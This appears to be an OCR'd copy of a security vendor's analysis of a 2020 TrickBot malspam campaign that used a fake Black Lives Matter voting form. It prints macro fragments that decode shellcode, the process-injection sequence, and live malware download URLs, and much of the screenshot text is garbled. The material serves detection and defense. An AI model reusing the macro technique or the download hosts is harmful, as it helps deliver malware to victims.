Trickbot Malspam Leveraging Black Lives Matter as Lure

Security Lab June 12, 2020

TRICKBOT

MALSPAM

Summary

The Hornetsecurity Security Lab has observed a malspam campaign distribution TrickBot [1] that uses the Black Lives
Matter movement as a lure to entice victims to open a malicious attachment. The TrickBot downloader document first
injects shellcode into the WINWORD.EXE process. From that shellcode, it then spawns a cmd.exe process into which
it again injects more of the same shellcode. This cmd.exe process then downloads the TrickBot DLL and executes it
via rundll32.exe .

Background

The initial emails claim to be from a State office, Country authority ,or Country administration :
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https://www.hornetsecurity.com/en/security-information/trickbot-malspam-leveraging-black-lives-matter-as-lure/

~  Vote confidentially about "Black Lives Matter" - Nac...

Nachricht Hilfe Q Was machten Sie tun?

Country authority <000 @0000000 monster ooooooc@ocoococoooccom (U] 1 10.06.2020

Vote confidentially about "Black Lives Matter™ w

ﬁ e-vote_form_1967.doc
165 KB

Give your opinion anon about "Black Lives Matter”
Form in attached file

The email tells the recipient they can Vote confidentially about "Black Lives Matter" or Tell your
government your opinion , Give your opinion ,and Speak out confidentially about "Black Lives
Matter" .

Attached is a file named e-vote_form_0000.doc , further suggesting the email to be some sort of official means of
voting.

However, the document only displays an image announcing a fake Office update and instructions to “Enable Editing’
as well as to “Enable Content”:

H = e-vote_form_49084.doc (Geschitzte Ansicht) - Word Anmelden Eal

Datei Start FEinfigen Entwurf Layout Referenzen Sendungen Uberprifen Ansicht  Hilfe Q Sie wiins:

Varsicht — E-Mail-Anlagen kénnen Viren enthalten. Wenn Sie die
“ GESCHUTZTE ANSICHT Dateianlage nicht bearbeiten miissen, ist es sicherer, die geschiitzte Bearbeitung aktivieren x

Ansicht beizubehalten.
u O .

Office update is available!

New updates are available for Office. They will be
downloaded in the background and will not interrupt your
work.

If your Internet connection is limited, be cautious - you
can be charged for downloading of this data.

In order to start update downloading, please press
“‘Enable Editing” and then “Enable Content” in the popup
window.

Seite 1won 1 16 Waorter B B - 1 + 100%
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If the instructions are followed, the malicious VBA macro in the document is executed and it downloads the TrickBot

malware.

Technical Analysis

The initial portion of the infection chain (until the TrickBot malware is deployed) is depicted in this flow graph:

T1193 - Spearphishing Attachment TA0O011 - Command and Control

TAQO0O1 - Initial Access

( A MITRE ATT&CK® tactics and techniques
(To keep the graphic manageable not all details and techniques are shown.)

T1204 - User Execution

T1064 - Scripting

9 TA00C2 - Executlon)

T1055 - Process Injection

T1055 - Process Injection

T1085 - Rundli32

TAOO0OS - Defense Evasion)

In the following analysis we will walk through each stage of this chain.
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VBA macro

The VBA macro is protected against viewing in Word:

. Datei Bearbeiten

Projekt - Project

= = I[&]

] Microsoft Visual Basic for Applications - E-vote_form_1967 [Entwerfen]
Ansicht  Einfigen Format Debuggen  Ausfihren

HE-E X aale s o oSS e

X
B

.ﬁ Normal

However, this “protection” only prevents Word from showing the VBA macro without a password. The VBA macro code

is still accessible.

&-&% Project (Tthe_fnrm_l

Project Kennwort

Kennwort

o ]
|ered1m

The first thing the VBA macro does is to display a fake error message:

Private Sub Document_Open()
MsgBox "Error #80013123"

This results in the following pop-up:

4/11



E A = e-vote_form doc [Schreibgeschitzt] [Kompatibilitétsmod... Anmelden &= = O

Einfigen Entwurf Layout Referenzen Sendungen Uberprifen Ansicht  Hilfe Q Sie wiins '!:.:-;_Teilen

Calibri ~ 11 el
F K U ~abe x, X*  F» .
Einfiigen .. Formatvorlagen | Bearbeiten
- 4 w . A-Aa- | A A = -
Zwischenablage 2 Schriftart M Absatz [ Formatvorlagen = .
Microsoft Word X
Error #30013123
l:l Office
Office update is available!
New updates are available for Office. They will be
downloaded in the background and will not interrupt your
work.
If yvour Internet connection is limited, be cautious - you
Seite 1won 1 16Warter [[¥  Englisch [Vereinigte Staaten) E B - 1 + 100%

This is likely an attempt to prompt user interaction in order to bypass sandbox detections. It could also be an attempt to
hide the fact that there is no document. A victim may be satisfied by receiving this error and assume the document to
be broken.

The macro uses VirtualProtectEx and CreateThread to inject shellcode into the WINWORD.EXE process. To this
end, the code assembles one large string:

uriSubscriber = "i-j-[...]-a-a-a-"
uriSubscriber = uriSubscriber & "i-1-[...]-a-a-"
uriSubscriber = uriSubscriber & "g-k-a-a-p-p-h-f-p-i-[...]-0-g-c-c-p-k-h-c-g-j-h-d"

This string contains the encoded shellcode. It is then decoded via the following function:

Dim f() As Byte
ReDim f(@ To Len(uriSubscriber) / 2 - 1) As Byte
Dim sSmart As Long, regOptimize As Long
For Each destEnd In Split(uriSubscriber, "-")
If sSmart Mod 2 Then
regOptimize = sSmart - 1
regOptimize = regOptimize / 2
f(regOptimize) = (CByte(Asc(destEnd)) - CByte(Asc("a"))) + f((sSmart - 1) / 2)
Else
regOptimize = sSmart / 2
f(regOptimize) = (CByte(Asc(destEnd)) - CByte(Asc("a"))) * 16
End If
sSmart = sSmart + 1
Next

Finally, the decoded shellcode is set to PAGE_EXECUTE_READWRITE using VirtualProtectEx , which was previously
aliased to extensionsComment , and then a thread is started with the address of the shellcode as its start address
using CreateThread , previously aliased to sMail :
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Private Declare Function extensionsComment Lib "kernel32" Alias "VirtualProtectEx" (

iMail As Long,

bConsole As Long,
regFunction As Long,
tablePosition As Long,
colMail As Long) As Long

Private Declare Function sMail Lib "kernel32" Alias "CreateThread" (

textTimer As Long,

uriMail As Long,

m As Long,

dateMembers As Long,

textTimer® As Long,

1Server As Long) As Long
[...]

sConsole = destN_ - angleTexture + UBound(f)

g = extensionsComment(ByVal ipFunction, ByVal angleTexture, ByVal sConsole, ByVal PAGE_EXECUTE_READWRITE,

ByVal VarPtr(extensionsComment@))
adsLogon =
adsScr 5000

sMail(ByVval 0&, Byval 0&, ByVal destN_,

Byval 2&, Byval 0, ByVal 0&)

The shellcode can most easily be extracted by breaking on CreateThread in a debugger:

# WINWORD.EXE - PID: 1FC8 - Thread: Hauptthread B24 - x32dbg[Elevated] - X
Datei Ansicht Debug Trace Plugins Favoriten Optionen Hife  Apr 29 2019
coE 0 ta 9 twBPEeshe L ES
= = c 7
E CPU 9 Diagramm L Log [} Notizen ® Haltepunkte B8 Speicher Map [} Aufrufstapel &R SEH 15| Skript & Symbole €2 Quelle 2~ Referenzen 'S¥ Threads </ snowman & Handes 4 k'
=|[150997A0 83E0 mov eax,esp
®| 15099742 64 01 push 1 * |[verstecke FeU
®( 15099744 23E0 sub eax,esp EAX  T7G2FITED <kernel3z.CreateThread>
& 150997A6 SA pop edx EBX 00000004
0 g 2008 cmp al,8 ECX  0OFDO00O
2| ~ OF85 30070000 jne 15099F4C
150997AF 55 push ebp EDX  0OFDODOO
e 15033780 43 dec eax ElP  Gazhih
e| 15099781 B9ES mov ebp,esp ESP 0D09BDCES
e| 15099783 48 dec eax ESI  14A4DCC4
®| 15099784 B1EC 48010000 sub esp,148 EDI  009BDCD4
®| 15099764 53 push ebx
®| 15099788 57 push edi EIP  TB2FITED <kernel3z.CreateThreads
e 150997BC 56 push esi
®| 150997BD 48 dec eax
®| 150997BE 894D 10 mov_dword ptr ss:[febp+10f,ecx §EL»D\GSPF EOD}D\EBF
®f 150997c1 E8 00000000 €all 150997C6 call $o OF 0 SFO DE O
®| 150997C6 58 pop eax L
»| 150997C7 dec eax 1
»| 150997C8 83E8 26 sub eax,26 - -m
b e Gecles v i"amiae’:p(it-f;algooooooo L
| R A & i m o= T
< > [esp+3] 00000000
eax=<kernel32.CreateThread> (76ZFI7ED) [:malﬁggggggz
€sp=009BDCBE : [esp+14] 00000000
150997A0 : [esp+18] 00000000
< i 5 EEE
@Woump1 | Wpump? @MDump3  @WDump4  Gpump5 | @ Oberwachen1 | [x=lLocale Variablen | o Struct [61214A8 4 zurlick 2u whe?. GIZ1S4E4 von A
oo98occo (| oooooooo
Adresse | Hex ™ || coseocc s || 15099740
150997A0( 89 EO 6A O1(29 EO 5A 3C|08 OF 85 90|07 ooaepces || pooooooz
15099780( 48 89 E5 48|81 EC 48 01|00 00 53 57|56 onaenccc || ooo00000
150997C0| 10 E8 00 00|00 00 58 43|83 EB 26 43|89 00980CD0 || 00000000
150997D0| 83 EC 20 48(8D 8D C4 FE|FF FF E8 FO|03 005e000 4 || 00000000
150997E0| 83 C4 20 43|88 45 10 43 43 005e000 & || 00000000
150997F0| 48 8D 8D C4|FE FF FF E8|61 00 00 00|48 oosencoe || ooooooon
15099800( 89 85 CO FE|FF FF 85 CO|74 4E 43 8B oosencen || ooooooon
15099810( 9F 13 00 00|48 B3 EC 20|48 €7 C1 00|00 ooaence+ || oooooooz
15099820| 89 C2 4C 8D (45 94 E8 BO |02 00 00 43|83 oosences: || oooooooo
15099830| 05 9F 13 00|00 48 83 EC|20 88 8D CO|FE 003B0CEC || 00000001
15099840| 8B 55 F8 43(89 CO 4C 8D |8D C4 FE FF|FF 00380CFo || 00000000
15099850( 00 00 48 83 5E 5F 5B C9|C3 00380CF 4 || 00000001
15099860 | E5 48 81 EC|BS 01 00 00|57 56 53 48|89 00380CF 8 || 00000000
15099870( 31 CO 48 31|C9 48 8D BD|50 FE FF FF|Bl ooaBocre || oooo000a
15099880| AA 59 48 8D|BD G0 FE FF|FF F3 AA C7 |85 00980000 || 0o00308E
15099890| FF 10 00 00|00 C7 85 60 00 00980004 || 15099000
150998A0(C7 C1 68 00|00 00 48 8D|BD 70 FE FF|FF 00980008 || 13099740
15099880(C7 C1 18 00|00 00 43 8D|BD DB FE FF|FF 009E0D0C || FEEFEFEE
150998C0| 85 70 FE FF(FF 63 00 00|00 C7 85 AC|FE 005e0010 || 00000000
15099800 C7 85 BO FE|FF FF 00 00 . °byy. .H.]. 005e001 4 || 00000000
150998E0|E8 1C 00 00 [D0N43NSANSC|S7IE3NEENGH|6F 77 73 5C| 2. . . .CIWindowsy 005e001: || 00000008
150998F0|53 79 73 57|4F 57 36 34|5C 63 6D 64 Syswowe4cmd. exe oosecoic || oooooooo
15099900 | 00 SE 48 83|EC 20 48 89|F1 FF 93 CO|00 00 00 48| .AH.1 H, H 00260020 || oooozoos
15099910| 83 C4 20 85(CO 56 75 21|EB 1C 00 00|00 43 3A 5C|.A .Avu N 00260024 || 00ooo000
15099920|57 69 6E 64|6F 77 73 5C|73 79 73 74|65 6D 33 32 |Windows\system3z 00380028 || 14C2AD18
15099930 |5C 63 60 64|2E G5 78 65|00 5E 48 83 |EC 20 48 8D | \cmd.exe.’H.1 H. 003BoD2C || s0c48FCO
15099940| 80 FO FE FF|FF EB OE 25|73 20 2F 63|20 22 70 61 .Bpyy c "pa 00380030 || 00000000
5099950 |75 73 65 22|00 48 8D 15|EB FF FF FF|49 89 FO FF H VI. 0y 0038003 4 || 00000000
099960( 93 C8 00 00|00 48 83 C4(20 48 83 EC|50 48 €7 C1|.E...H.A H.1PHC e e e s

Shellcode WINWORD.EXE

The shellcode running in the WINWORD.EXE process first resolves several library functions. Then uses
CreateProcessA toruna cmd.exe withthe pause command, causing the cmd.exe to idle:

Y

- AUADIADI S W =T Pusin cua

®| 10A3ASTE 8D95 FCFEFFFF lea edx,dword ptr

®| 10A3A534 52 push edx

@ 10A3AL 85 &4 00 push 0

[EIF g T 104 FF53 38 call dword ptr

® (| 10A3ASEA B5CO test eax,eax
r-——-# || 10A3ASSC ~ 74 18 je 1DA3ASAG6
1 ® | 10A3ASBE FFBS FOFEFFFF push dword ptr
o ®| 10AZAS 94 FF53 14 call dword ptr
g ® (| 10A3A597 FFBS ECFEFFFF push dword ptr
! ®| 10A3A59D FF53 14 call dword ptr
1 & 10ASASAD 8B85 F4FEFFFF mov eax,dword p
Lecsallanazacas 41 nnn ahy

ds: [ebx-rBEk

55: Bebp-110§
ds: [ebx+14]

sst:ebp-114])
ds: [
tr s

ebx+14]

TUAL e LT TIUUTES 4 W SY SO0 LU TAT J L % pJausesy

fcbp-104]

edx: "C: W \Windows )\ Syswowe4\\cmd. exe Jc Y "pause,

76314060 <kernel3z.CreateProcessA-
jmp appwvisvsubsystems32.6CES97ED
pop ebp

jmp_dword ptr ds:[<&CreateProcessaA>]

s:Pebp-10C] |
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Next, the shellcode uses a classic OpenProcess , VirtualAllocEx , WriteProcessMemory , and
CreateRemoteThread sequence to do shellcode injection into the paused cmd.exe process:

10A3ASES
10A3ASB6

10A3ALSD3
10A3ASDS
10A3ASDE
10A3ASDE
10A3ASDE
10A3ASED
10AZALES
10A3ASEG
10AZALSED
10A3ASEC
10A3ASEF
10A3ASFL
10A3ASF3
10A3A5F5S
10A3ASFE
10A3ASFA
10A3ASFC
10AZALFF
10A3A602
10AZAE05
10A3AG08

10A3AE0C

The cmd.exe

53

8BE5D 14
FF75 08
&6A 00
68 FFOF1FOOD
FF532 18
8945 F4
&6A 40
68 00300000
FF75 10
64 0O
FF75 F4
FF53 1C
8945 FB
&6A 00
FF75 10
FF75 0OC
FF75 F8
FF75 F4
FF53 20
&6A 00D
6A 00
6A 00D
FF75 F8
6A 00
&6A 00
FF75 F4
FF53 24
FF75 F4
FF53 14
5B

SE

C2 1000

push ebx

mov ebx,dword ptr
push dword ptr ss:[[ebp+&]
push 0

push 1FOFFF

Eall dword ptr ds:[ebx+18]
mov dword ptr ss:|febp-CfJ,eax
push 40

push 3000

push dword ptr
push 0

push dword ptr ss:|[ebp-Cf]

ssilfebp+10]

ss:[lebp+14)

OpenProcess

virtualallocEx

writeProcessMemory

verstecke F

EAX  00000¢
EBX  1346F:
ECX 000000
EDX  1346F:
EBP  1346F!
ESP  1346F¢
ESI  10A33¢
EDI  10A39¢
EIP  10A3At

EFLAGS O
ZF 0O PF 1
OF 0 5F O
CF O TF O

LastError

€38l dword ptr ds:[ebx+1C]
mov dword ptr ss:|febp-5J,eax
push 0

push dword ptr ss:|lebp+10]
push dword ptr ss:[febp+C])
push dword ptr ss:[ebp-&]
push dword ptr ss:febp-C]
€all dword ptr ds:[ehx—:Eg
push 0

push 0

push 0

push dword ptr ss:[ebp-5]
push 0

push 0

push dword ptr ss:|lebp-Cf)
€all dword ptr ds:[ebx+24]
push dword ptr ss:[ebp-Cf)
call dword ptr ds:[ebx+14]
pop ebx

pop esi

pop edi

Teave

BEEE 10

tr ds:
CreateRemoteThrea

CloseHandle

<kernel3z.writeProcessMemory:

<&WriteProcessM

anurgg I
ST(0) 000000

Standard (stdcall)

1: [esp] 001
2: [esp+4] O

3: [esp+8] O

/c pause process is likely used to avoid detection. A common technique used in process injection is to

create a suspended (i.e., paused) process by setting the CREATE_SUSPENDED flag during process creation, to then
inject code into the created process, and resume it afterwards. In the case of the discussed shellcode, the code is
injected as a thread into the paused cmd.exe instead.

The injected shellcode is the same shellcode that was injected into the WINWORD.EXE process. However, the entry
point passed to CreateRemoteThread is different, resulting into a different execution flow for the shellcode within the

cmd.exe process.

Shellcode cmd.exe

The shellcode in the cmd.exe process also resolves several library functions. Additionally, it decodes the TrickBot

download URLSs.

Next, the shellcode queries GetSystemMetrics(SM_CXSCREEN) and GetSystemMetrics(SM_CYSCREEN) to getthe
display resolution. Then, GetCursorPos is queried twice, with a call to Sleep(0x1388) in between causing a5

second delay.

osauuaL
032310664
03310665
03310668
0331066D
032310670
03310676
03310677
0331067A
02310680
03310686
0331068C
03310632
02310698
0331
0331
0221
0331
#[| 033106
a&ll T INART

<

O R
52

FF53 &C

&8 88130000
FF53 3C

BD95 FOFEFFFF
52

FF53 &C

FFBS F4FEFFFF
FFB5 FOFEFFFF
FFB5 ECFEFFFF
FFBS EBFEFFFF
FFBS FCFEFFFF
FFB5 F8FEFFFF
ES 21000000
26:73 63

72 3D

25 64782564
26:6375 72
2T13IM PCLRATADIC

Pem e g w e
push edx

€811 dword ptr ds:[ebx+s&C]
push 1385

E&ll dword ptr ds:[ebx+3C]
lea edx,dword ptr

T e gy

ss:[flebp-110§

push edx

call dword ptr ds:[ebx+gC]
push dword ptr ss:[ehp—jﬁ%
push dword ptr ss:[febp-1
push dwerd ptr ss:flebp-114
push dword ptr ss:|[febp-115
push dword ptr ss:[febp-104
push dword ptr ss:[febp-108
call z3106C4

jae 3310709

jb 23106ES

and eax,54257364
arpl word ptr es:[lebp+72[,

war rdwnrd ntr A<= T2C7RR47E

This is likely done to verify mouse movement and thus avoid sandboxes.

758CF4A0 <user32.GetCursorPos>

mov edi,edi

Slpush ebp

mov ebp,esp

push 81

push 1

push dword ptr ss:|[febp+5]
call user32.758E47BE

pop ebp

FEt 4

EGE I

The data is then encoded as a HTTP query string as follows: &scr=1280x1024&curl=604x250&cur2=622x310
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An ID query string &i1d=00000000 and the above system metrics query string are then appended to a URL to form the

final download URL which is then queried via InternetOpenUrlA :

1 ® | US31USLL A UL pusn u
i - gaaigagf ;E?S 08 pusn dword ptr ss:[ebp+a] [ebp+8]: "https: //ppid.indramayukab.go.id/ms
1 #( 033108 push eax
! e 03310802 FF53 54 €811 dword ptr ds:[ebx+5
! . 33108D5 89385 E4FBFFFF mov dword ptr ss:|[febp-41lag, eax
|
i e 022108DE 85C0 test eax,eax = —— -
e | 03310800| ~ oOFs4 B4000DOOO je 3310997 Y ol T T
i ! ®| 022108E32 31C0 XOF eax,eax puéh ebb

! e 023108E8 40 inc eax
o
. e | 033108E6 8985 FOFBFFFF mov dword ptr ss:[ebp-4100, e{Top :gg,_gép
[ & 033108EC 8285 FSFBFFFF mov dword ptr ss:|febp-403],e ' ==e 3
i e| 033108F2 8B7D 10 mov edi,dword ptr ss:[ebp+l0 gﬁghegg;d“'“m ptr ss:fjebp-ac
1 #( 033108F5 8B85 FSBFBFFFF mov eax,dword ptr ss:febp-40 push =c
! i o[ 033108FB 85C0 test eax,eax push o

0 SIoos L
R e|022108FD| ~ OFB4 94000000 je 2310997 h
. e 03310903 SEBS FOFBFFFF mov eax,dword ptr ss:[ebp-41dBa=d £3X

|
b e | 03310909 85C0 test eax,eax ggyeggmg.mmset:
[ e|[02210908| ~ OFB4 B8A000000 je 2310998 J P .
A0 | 03310911 8D95 FOFBFFFF lea edx,dword ptr ss:[ebp-s1died eCx,dword ptr ss:[febp-3c]
11

bRl o €all wininet.7528CCAD
[ ®( 03310917 52 push edx == o
[ it push dword ptr ssifebp+1C[)
P e[ 03310918 65 00040000 push 400 mov edx,dword ptr ss:lebp+Cil
fofi e|[ 03310910 8035 FCFEFFFF lea edx,dword ptr ss:[Jebp-40 J cc:BMabnela

ofa - - push dword ptr ss:|febp+13]
Vo || erins =2 push edx mov ecx,dword ptr ss:|febp+s]
P e 03310924 FFBS E4FBFFFF push dword ptr ss:[febp-41c] ush dwc'rr'd tr ”_[EFJ +14]
RN e 0331092a FF53 58 €all dword ptr ds:[ebx+ss] [P prr ==s:Ledp
[ - o push dword ptr ss:|febp+10§
tod i o 092D 8985 FSBFBFFFF mov dword ptr ss:|febp-408],e €all wininet.753648EE
bRl ®| 0933 85CO test eax,eax -
Pl r----e| 03310935| ~ 74 60 je 2310997
ARRE ®| 03310937 31C9 XOF 2CX,eCK

|
Lidbd < >
dword ptr [ebp+8]=[03BAEZAC &"https://ppid.indramayukab.go.id/may. phpromz=1&p1 c=b&1d=07 64055 6&5Cr=1280x1024&CUr1=604X250&CUr2=622X310"]=

In case the download is successful, the downloaded file is written to C:\\Users\\
<username>\\AppData\\Local\\system.rre and executed via rundl1132.exe
%userprofile%/system.rre,Initialize using ShellExecuteA . The system.rre fileis the TrickBot DLL.

In case the download is not successful, the downloader sleeps and then a second download URL is tried.

Conclusion and Remediation

The double shellcode injection is likely used to avoid behavioral detection as WINWORD.EXE does not usually
download files from the Internet or execute rund1132.exe . Hence, such anomalous behavior is more likely to be
detected than cmd.exe spawning the rundl1132.exe process. The query for the systems display resolution as well
as the double query of the cursor position is also likely done to avoid delivering the TrickBot DLL to sandbox systems.

Hornetsecurity’s Spam Filtering_Service with the highest detection rates on the market, has already detected and
blocked the malicious TrickBot document based on a detection signature.

In case the basic detection signatures would not have blocked the emails, Hornetsecurity’s Advanced Threat
Protection (ATP) would not have been impacted by the various anti-sandboxing mechanisms either. The human
interaction simulation of the ATP sandbox successfully clicks the fake error message away for a complete execution of
the malicious document:
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https://www.hornetsecurity.com/en/services/spam-filter/
https://www.hornetsecurity.com/en/services/advanced-threat-protection/

3 Screenshots
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It detects the processes being created by the document, as well as the process injections:
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© Allocates execute permission to another process indicative of possible code injection (3 events) v
Time & API Arguments Status Return Repeated
process_identifier: 3628
region_size: 4896
stack_dep_bypass: @
NtAllocateVirtualMemory stack_pivoted: @
heap_dep_bypass: 0 1 2] 0
1591966187.97 @ protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0x0008062c
allocation_type: 12288 (MEM_COMMITIMEM_RESERVE)
base_address: 0x000b000E
process_identifier: 3628
stack_dep_bypass: @
stack_pivoted: @
NtProtectVirtualMemory heap_dep_bypass: 8 ] 0 0
1591966167.97 @ length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0x0008062c
base_address: 0x000b000O
process_identifier: 3628
stack _dep_bypass: ©
] stack_pivoted: @
NtProtectVirtualMemory heap_dep_bypass: @ ] 0 0
1591966187.97 @ length: 4696
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0x0008062¢c
base_address: 0x000b000E
© One or more martian processes was created (1 event) v
parent_process winword.exe martian_process CAWindows\SysWOW64\cmd.exe /c "pause”
© Creates a suspicious process (1 event) [
cmdline CAWindows\SysWOW6&4\cmd.exe /c "pause”
The human interaction simulation also results in the two queried cursor positions, sentas curl and cur2 tothe
TrickBot download server, to differ:
InternetOpenUriA url:https://ppid.indramayukab.go.id/may . php?omz=1&
- pic=b&id=56311121&scr=1824x768&cur1=884x245
1531966205.88 Cur2=200x544
2] 0
headers:
flags: 2147483648
internet_handle: @x00ccoe04
This way, Hornetsecurity’s ATP sandbox is not fooled by the various anti-sandboxing techniques.
References
[1] https://malpedia.caad.fkie.fraunhofer.de/details/win.trickbot
Indicators of Compromise (I0Cs)
Hashes
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https://malpedia.caad.fkie.fraunhofer.de/details/win.trickbot

SHA256 Filename Description

d6a44t6460fab8c74628a3dc160b9b0f1c8b91b7d238b6b4c1f83b3b4320463d B TrickBot
vote_form_1967.doc  downloader
document
URLs

e hxxps[:]//ppid.indramayukab.go[.]id/may.php?omz=1&pic=b&id=[0-9]{8}&scr=[0-9]{3,4}x[0-9]
{3,4}&cur1=[0-9]1{3,4}x[0-9]1{3,4}&cur2=[0-9]{3,4}x[0-9]{3, 4}

e hxxps[:]//www.inspeclabeling[.]com/wp-content/themes/processing/may.php?omz=1&pic=b&id=[0-9]
{8}&scr=[0-9]{3,4}x[0-9]{3,4}&cur1=[0-9]{3,4}x[0-9]{3,4}&cur2=[0-9]{3,4}x[0-9]{3, 4}

DNSs

e ppid.indramayukab.go.id
e www.inspeclabeling.com
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